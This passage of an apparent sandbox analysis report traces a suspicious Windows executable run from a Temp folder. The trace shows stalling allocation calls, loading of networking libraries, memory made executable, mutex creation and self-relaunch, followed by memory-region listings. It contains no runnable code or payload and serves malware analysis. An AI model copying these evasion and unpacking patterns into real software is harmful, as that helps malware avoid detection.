[0055.335] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0055.335] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0055.335] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0055.335] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0055.335] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0055.335] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0055.335] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0055.335] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0055.335] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0055.335] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0055.335] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0055.335] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0055.335] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0055.335] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0055.335] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0055.335] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0055.335] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0055.335] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0055.335] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0055.335] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0055.335] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0055.335] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0055.335] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0055.336] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0055.336] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0055.336] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0055.336] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0055.336] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0055.336] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0055.336] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0055.336] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0055.336] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0055.336] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0055.336] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0055.336] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0055.336] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0055.336] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0055.336] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0055.336] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0055.336] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0055.336] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0055.336] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0055.336] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0055.336] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0055.336] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0055.337] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0055.337] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0055.337] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0055.337] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0055.337] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0055.337] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0055.337] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0055.337] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0055.337] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0055.337] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0055.337] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0055.337] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0055.337] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0055.337] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0055.337] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0055.337] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0055.337] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0055.337] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0055.337] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0055.337] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0055.337] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0055.337] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0055.337] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0055.338] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0055.338] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0055.338] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0055.338] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0055.338] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0055.338] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0055.338] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0055.338] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0055.338] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0055.338] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0055.338] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0055.338] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0055.338] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0055.338] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0055.338] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0055.338] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0055.338] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0055.338] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0055.338] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0055.338] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0055.338] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0055.338] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0055.339] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0055.339] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0055.339] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0055.339] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0055.339] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0055.339] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0055.391] LoadLibraryA (lpLibFileName="winhttp.dll") returned 0x6f600000
[0055.391] LoadLibraryA (lpLibFileName="urlmon.dll") returned 0x75ce0000
[0055.391] LoadLibraryA (lpLibFileName="wininet.dll") returned 0x771e0000
[0055.391] VirtualAlloc (lpAddress=0x0, dwSize=0xd000, flAllocationType=0x1000, flProtect=0x4) returned 0x3c0000
[0055.392] LoadLibraryA (lpLibFileName="KERNEL32.dll") returned 0x76350000
[0055.393] GetProcAddress (hModule=0x76350000, lpProcName="WTSGetActiveConsoleSessionId") returned 0x7638480b
[0055.393] FreeConsole () returned 0
[0055.393] VirtualProtect (in: lpAddress=0x3c1000, dwSize=0x885f, flNewProtect=0x20, lpflOldProtect=0x12fd90 | out: lpflOldProtect=0x12fd90*=0x4) returned 1
[0055.393] VirtualProtect (in: lpAddress=0x3ca000, dwSize=0xb12, flNewProtect=0x2, lpflOldProtect=0x12fd90 | out: lpflOldProtect=0x12fd90*=0x4) returned 1
[0055.393] VirtualProtect (in: lpAddress=0x3cb000, dwSize=0xbd8, flNewProtect=0x4, lpflOldProtect=0x12fd90 | out: lpflOldProtect=0x12fd90*=0x4) returned 1
[0055.393] VirtualProtect (in: lpAddress=0x3cc000, dwSize=0x4d8, flNewProtect=0x2, lpflOldProtect=0x12fd90 | out: lpflOldProtect=0x12fd90*=0x4) returned 1
[0055.393] VirtualProtect (in: lpAddress=0x3c0000, dwSize=0x400, flNewProtect=0x2, lpflOldProtect=0x12fd90 | out: lpflOldProtect=0x12fd90*=0x4) returned 1
[0057.337] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x12fc18, nSize=0x104 | out: lpFilename="C:\\Users\\ATVEYD~1\\AppData\\Local\\Temp\\38763.exe" (normalized: "c:\\users\\atveyd~1\\appdata\\local\\temp\\38763.exe")) returned 0x2e
[0057.337] _snwprintf (in: _Dest=0x12fe20, _Count=0x40, _Format="E%X" | out: _Dest="EF6003E70") returned 9
[0057.337] _snwprintf (in: _Dest=0x12fea0, _Count=0x40, _Format="M%X" | out: _Dest="MF6003E70") returned 9
[0057.337] CreateEventW (lpEventAttributes=0x0, bManualReset=1, bInitialState=0, lpName="EF6003E70") returned 0xbc
[0057.337] CreateMutexW (lpMutexAttributes=0x0, bInitialOwner=1, lpName="MF6003E70") returned 0xc0
[0057.337] GetLastError () returned 0x0
[0057.337] CreateProcessW (in: lpApplicationName="C:\\Users\\ATVEYD~1\\AppData\\Local\\Temp\\38763.exe", lpCommandLine=0x0, lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0x0, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x12ff20*(cb=0x44, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x80, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x12ff64 | out: lpCommandLine=0x0, lpProcessInformation=0x12ff64*(hProcess=0xc8, hThread=0xc4, dwProcessId=0xb74, dwThreadId=0xb78)) returned 1
[0057.340] WaitForSingleObject (hHandle=0xbc, dwMilliseconds=0xffffffff) returned 0x0
[0059.709] CloseHandle (hObject=0xc8) returned 1
[0059.709] CloseHandle (hObject=0xc4) returned 1
[0059.709] CloseHandle (hObject=0xbc) returned 1
[0059.709] CloseHandle (hObject=0xc0) returned 1
[0059.709] ExitProcess (uExitCode=0x0)
Thread:
id = 38
os_tid = 0xb68
Process:
id = "4"
image_name = "38763.exe"
filename = "c:\\users\\atveyd~1\\appdata\\local\\temp\\38763.exe"
page_root = "0x7f13e440"
os_pid = "0xb74"
os_integrity_level = "0x2000"
os_privileges = "0x800000"
monitor_reason = "child_process"
parent_id = "3"
os_parent_pid = "0xb60"
cmd_line = "\"C:\\Users\\ATVEYD~1\\AppData\\Local\\Temp\\38763.exe\""
cur_dir = "C:\\Users\\ATVeyDl98Z\\Desktop\\"
os_username = "ZJEWV7F\\ATVeyDl98Z"
os_groups = "ZJEWV7F\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0x10], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000f73d" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7]
Region:
id = 801
start_va = 0x10000
end_va = 0x2ffff
entry_point = 0x0
region_type = private
name = "private_0x0000000000010000"
filename = ""
Region:
id = 802
start_va = 0x30000
end_va = 0x12ffff
entry_point = 0x0
region_type = private
name = "private_0x0000000000030000"
filename = ""
Region:
id = 803
start_va = 0x130000
end_va = 0x133fff
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x0000000000130000"
filename = ""
Region:
id = 804
start_va = 0x400000
end_va = 0x415fff
entry_point = 0x401390
region_type = mapped_file
name = "38763.exe"
filename = "\\Users\\ATVEYD~1\\AppData\\Local\\Temp\\38763.exe" (normalized: "c:\\users\\atveyd~1\\appdata\\local\\temp\\38763.exe")
Region:
id = 805
start_va = 0x775c0000
end_va = 0x776fbfff
entry_point = 0x775c0000
region_type = mapped_file
name = "ntdll.dll"
filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll")
Region:
id = 806
start_va = 0x77800000
end_va = 0x77800fff
entry_point = 0x77800000
region_type = mapped_file
name = "apisetschema.dll"
filename = "\\Windows\\System32\\apisetschema.dll" (normalized: "c:\\windows\\system32\\apisetschema.dll")
Region:
id = 807
start_va = 0x7ffb0000
end_va = 0x7ffd2fff
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x000000007ffb0000"
filename = ""
Region:
id = 808
start_va = 0x7ffde000
end_va = 0x7ffdefff
entry_point = 0x0
region_type = private
name = "private_0x000000007ffde000"
filename = ""
Region:
id = 809
start_va = 0x7ffdf000
end_va = 0x7ffdffff
entry_point = 0x0
region_type = private
name = "private_0x000000007ffdf000"
filename = ""
Region:
id = 810
start_va = 0x10000
end_va = 0x1ffff
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x0000000000010000"
filename = ""
Region:
id = 811
start_va = 0x140000
end_va = 0x1a6fff
entry_point = 0x140000
region_type = mapped_file
name = "locale.nls"
filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls")
Region:
id = 812
start_va = 0x200000
end_va = 0x20ffff
entry_point = 0x0
region_type = private
name = "private_0x0000000000200000"
filename = ""
Region:
id = 813
start_va = 0x2b0000
end_va = 0x3affff
entry_point = 0x0
region_type = private
name = "private_0x00000000002b0000"
filename = ""
Region:
id = 814
start_va = 0x420000
end_va = 0x4e7fff
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x0000000000420000"
filename = ""
Region:
id = 815
start_va = 0x6d400000
end_va = 0x6d450fff
entry_point = 0x6d42988c
region_type = mapped_file
name = "winspool.drv"
filename = "\\Windows\\System32\\winspool.drv" (normalized: "c:\\windows\\system32\\winspool.drv")
Region:
id = 816
start_va = 0x758d0000
end_va = 0x75919fff
entry_point = 0x758d7de0
region_type = mapped_file
name = "kernelbase.dll"
filename = "\\Windows\\System32\\KernelBase.dll" (normalized: "c:\\windows\\system32\\kernelbase.dll")
Region:
id = 817
start_va = 0x75a70000
end_va = 0x75b0cfff
entry_point = 0x75aa3fd7
region_type = mapped_file
name = "usp10.dll"
filename = "\\Windows\\System32\\usp10.dll" (normalized: "c:\\windows\\system32\\usp10.dll")
Region:
id = 818
start_va = 0x75b10000
end_va = 0x75b19fff
entry_point = 0x75b1136c
region_type = mapped_file
name = "lpk.dll"
filename = "\\Windows\\System32\\lpk.dll" (normalized: "c:\\windows\\system32\\lpk.dll")
Region:
id = 819
start_va = 0x75b60000
end_va = 0x75c00fff
entry_point = 0x75b92433
region_type = mapped_file
name = "rpcrt4.dll"
filename = "\\Windows\\System32\\rpcrt4.dll" (normalized: "c:\\windows\\system32\\rpcrt4.dll")
Region:
id = 820
start_va = 0x75c10000
end_va = 0x75cd8fff
entry_point = 0x75c2d711
region_type = mapped_file
name = "user32.dll"
filename = "\\Windows\\System32\\user32.dll" (normalized: "c:\\windows\\system32\\user32.dll")
Region:
id = 821
start_va = 0x76350000
end_va = 0x76423fff
entry_point = 0x7639bde4
region_type = mapped_file
name = "kernel32.dll"
filename = "\\Windows\\System32\\kernel32.dll" (normalized: "c:\\windows\\system32\\kernel32.dll")
Region:
id = 822
start_va = 0x773b0000
end_va = 0x7745bfff
entry_point = 0x773ba472
region_type = mapped_file
name = "msvcrt.dll"
filename = "\\Windows\\System32\\msvcrt.dll" (normalized: "c:\\windows\\system32\\msvcrt.dll")
Region:
id = 823
start_va = 0x77460000
end_va = 0x775bbfff
entry_point = 0x774aba3d
region_type = mapped_file
name = "ole32.dll"
filename = "\\Windows\\System32\\ole32.dll" (normalized: "c:\\windows\\system32\\ole32.dll")
Region:
id = 824
start_va = 0x77710000
end_va = 0x7775dfff
entry_point = 0x77719c09
region_type = mapped_file
name = "gdi32.dll"
filename = "\\Windows\\System32\\gdi32.dll" (normalized: "c:\\windows\\system32\\gdi32.dll")
Region:
id = 825
start_va = 0x77760000
end_va = 0x777eefff
entry_point = 0x77763fb1
region_type = mapped_file
name = "oleaut32.dll"
filename = "\\Windows\\System32\\oleaut32.dll" (normalized: "c:\\windows\\system32\\oleaut32.dll")
Region:
id = 826
start_va = 0x7f6f0000
end_va = 0x7f7effff
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x000000007f6f0000"
filename = ""
Region:
id = 827
start_va = 0x77140000
end_va = 0x7715efff
entry_point = 0x77141355
region_type = mapped_file
name = "imm32.dll"
filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll")
Region:
id = 828
start_va = 0x772e0000
end_va = 0x773abfff
entry_point = 0x772e168b
region_type = mapped_file
name = "msctf.dll"
filename = "\\Windows\\System32\\msctf.dll" (normalized: "c:\\windows\\system32\\msctf.dll")
Region:
id = 829
start_va = 0x20000
end_va = 0x20fff
entry_point = 0x0
region_type = private
name = "private_0x0000000000020000"
filename = ""
Region:
id = 830
start_va = 0x1b0000
end_va = 0x1b0fff
entry_point = 0x0
region_type = private
name = "private_0x00000000001b0000"
filename = ""
Region:
id = 831
start_va = 0x250000
end_va = 0x25ffff
entry_point = 0x0
region_type = private
name = "private_0x0000000000250000"
filename = ""
Region:
id = 832
start_va = 0x4f0000
end_va = 0x5f0fff
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x00000000004f0000"
filename = ""
Region:
id = 833
start_va = 0x600000
end_va = 0x11fffff
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x0000000000600000"
filename = ""
Region:
id = 834
start_va = 0x76330000
end_va = 0x76348fff
entry_point = 0x76334975
region_type = mapped_file
name = "sechost.dll"
filename = "\\Windows\\System32\\sechost.dll" (normalized: "c:\\windows\\system32\\sechost.dll")
Region:
id = 835
start_va = 0x1200000
end_va = 0x12fffff
entry_point = 0x0
region_type = private
name = "private_0x0000000001200000"
filename = ""
Region:
id = 836
start_va = 0x7ffdd000
end_va = 0x7ffddfff
entry_point = 0x0
region_type = private
name = "private_0x000000007ffdd000"
filename = ""
Region:
id = 837
start_va = 0x1c0000
end_va = 0x1cdfff
entry_point = 0x0
region_type = private
name = "private_0x00000000001c0000"
filename = ""
Region:
id = 838
start_va = 0x1d0000
end_va = 0x1dcfff
entry_point = 0x0
region_type = private
name = "private_0x00000000001d0000"
filename = ""
Region:
id = 839
start_va = 0x76030000
end_va = 0x760cffff
entry_point = 0x760449e5
region_type = mapped_file
name = "advapi32.dll"
filename = "\\Windows\\System32\\advapi32.dll" (normalized: "c:\\windows\\system32\\advapi32.dll")
Region:
id = 840
start_va = 0x760e0000
end_va = 0x76136fff
entry_point = 0x760f9ba6
region_type = mapped_file
name = "shlwapi.dll"
filename = "\\Windows\\System32\\shlwapi.dll" (normalized: "c:\\windows\\system32\\shlwapi.dll")
Region:
id = 841
start_va = 0x6f600000
end_va = 0x6f657fff
entry_point = 0x6f6013b4
region_type = mapped_file
name = "winhttp.dll"
filename = "\\Windows\\System32\\winhttp.dll" (normalized: "c:\\windows\\system32\\winhttp.dll")
Region:
id = 842
start_va = 0x6f5b0000
end_va = 0x6f5fefff
entry_point = 0x6f5b1452
region_type = mapped_file
name = "webio.dll"
filename = "\\Windows\\System32\\webio.dll" (normalized: "c:\\windows\\system32\\webio.dll")
Region:
id = 843
start_va = 0x75ce0000
end_va = 0x75e15fff
entry_point = 0x75ce1b35
region_type = mapped_file
name = "urlmon.dll"
filename = "\\Windows\\System32\\urlmon.dll" (normalized: "c:\\windows\\system32\\urlmon.dll")
Region:
id = 844
start_va = 0x771e0000
end_va = 0x772d4fff
entry_point = 0x771e1865
region_type = mapped_file
name = "wininet.dll"
filename = "\\Windows\\System32\\wininet.dll" (normalized: "c:\\windows\\system32\\wininet.dll")
Region:
id = 845
start_va = 0x75e30000
end_va = 0x7602afff
entry_point = 0x75e322d9
region_type = mapped_file
name = "iertutil.dll"
filename = "\\Windows\\System32\\iertutil.dll" (normalized: "c:\\windows\\system32\\iertutil.dll")
Region:
id = 846
start_va = 0x757b0000
end_va = 0x758ccfff
entry_point = 0x757b158a
region_type = mapped_file
name = "crypt32.dll"
filename = "\\Windows\\System32\\crypt32.dll" (normalized: "c:\\windows\\system32\\crypt32.dll")
Region:
id = 847
start_va = 0x75780000
end_va = 0x7578bfff
entry_point = 0x7578238e
region_type = mapped_file
name = "msasn1.dll"
filename = "\\Windows\\System32\\msasn1.dll" (normalized: "c:\\windows\\system32\\msasn1.dll")
Region:
id = 848
start_va = 0x75640000
end_va = 0x7565afff
entry_point = 0x756493b9
region_type = mapped_file
name = "sspicli.dll"
filename = "\\Windows\\System32\\sspicli.dll" (normalized: "c:\\windows\\system32\\sspicli.dll")
Region:
id = 849
start_va = 0x1300000
end_va = 0x15cefff
entry_point = 0x1300000
region_type = mapped_file
name = "sortdefault.nls"
filename = "\\Windows\\Globalization\\Sorting\\SortDefault.nls" (normalized: "c:\\windows\\globalization\\sorting\\sortdefault.nls")
Region:
id = 850
start_va = 0x1e0000
end_va = 0x1ecfff
entry_point = 0x0
region_type = private
name = "private_0x00000000001e0000"
filename = ""
Region:
id = 851
start_va = 0x764f0000
end_va = 0x77139fff
entry_point = 0x76571601
region_type = mapped_file
name = "shell32.dll"
filename = "\\Windows\\System32\\shell32.dll" (normalized: "c:\\windows\\system32\\shell32.dll")
Region:
id = 852
start_va = 0x74dc0000
end_va = 0x74dd6fff
entry_point = 0x74dc1c9d
region_type = mapped_file
name = "userenv.dll"
filename = "\\Windows\\System32\\userenv.dll" (normalized: "c:\\windows\\system32\\userenv.dll")
Region:
id = 853
start_va = 0x75710000
end_va = 0x7571afff
entry_point = 0x75711992
region_type = mapped_file
name = "profapi.dll"
filename = "\\Windows\\System32\\profapi.dll" (normalized: "c:\\windows\\system32\\profapi.dll")
Region:
id = 854
start_va = 0x741a0000
end_va = 0x741acfff
entry_point = 0x741a11e0
region_type = mapped_file
name = "wtsapi32.dll"
filename = "\\Windows\\System32\\wtsapi32.dll" (normalized: "c:\\windows\\system32\\wtsapi32.dll")
Region:
id = 855
start_va = 0x1f0000
end_va = 0x1f0fff
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x00000000001f0000"
filename = ""
Region:
id = 856
start_va = 0x210000
end_va = 0x224fff
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x0000000000210000"
filename = ""
Region:
id = 857
start_va = 0x15d0000
end_va = 0x16cffff
entry_point = 0x0
region_type = private
name = "private_0x00000000015d0000"
filename = ""
Region:
id = 858
start_va = 0x16d0000
end_va = 0x17cffff
entry_point = 0x0
region_type = private
name = "private_0x00000000016d0000"
filename = ""
Region:
id = 859
start_va = 0x17d0000
end_va = 0x182bfff
entry_point = 0x17d0000
region_type = mapped_file
name = "rpcss.dll"
filename = "\\Windows\\System32\\rpcss.dll" (normalized: "c:\\windows\\system32\\rpcss.dll")
Region:
id = 860
start_va = 0x7ffdb000
end_va = 0x7ffdbfff
entry_point = 0x0
region_type = private
name = "private_0x000000007ffdb000"
filename = ""
Region:
id = 861
start_va = 0x7ffdc000
end_va = 0x7ffdcfff
entry_point = 0x0
region_type = private
name = "private_0x000000007ffdc000"
filename = ""
Region:
id = 862
start_va = 0x17d0000
end_va = 0x182bfff
entry_point = 0x17f35b9
region_type = mapped_file
name = "rpcss.dll"
filename = "\\Windows\\System32\\rpcss.dll" (normalized: "c:\\windows\\system32\\rpcss.dll")
Region:
id = 863
start_va = 0x75660000
end_va = 0x7566bfff
entry_point = 0x756610e1
region_type = mapped_file
name = "cryptbase.dll"
filename = "\\Windows\\System32\\cryptbase.dll" (normalized: "c:\\windows\\system32\\cryptbase.dll")
Region:
id = 864
start_va = 0x73cf0000
end_va = 0x73d2ffff
entry_point = 0x73cfa2dd
region_type = mapped_file
name = "uxtheme.dll"
filename = "\\Windows\\System32\\uxtheme.dll" (normalized: "c:\\windows\\system32\\uxtheme.dll")
Region:
id = 865
start_va = 0x17d0000
end_va = 0x194ffff
entry_point = 0x0
region_type = private
name = "private_0x00000000017d0000"
filename = ""
Region:
id = 866
start_va = 0x17d0000
end_va = 0x18aefff
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x00000000017d0000"
filename = ""
Region:
id = 867
start_va = 0x1910000
end_va = 0x194ffff
entry_point = 0x0
region_type = private
name = "private_0x0000000001910000"
filename = ""
Region:
id = 868
start_va = 0x210000
end_va = 0x211fff
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x0000000000210000"
filename = ""
Region:
id = 869
start_va = 0x746f0000
end_va = 0x7488dfff
entry_point = 0x7471e6b5
region_type = mapped_file
name = "comctl32.dll"
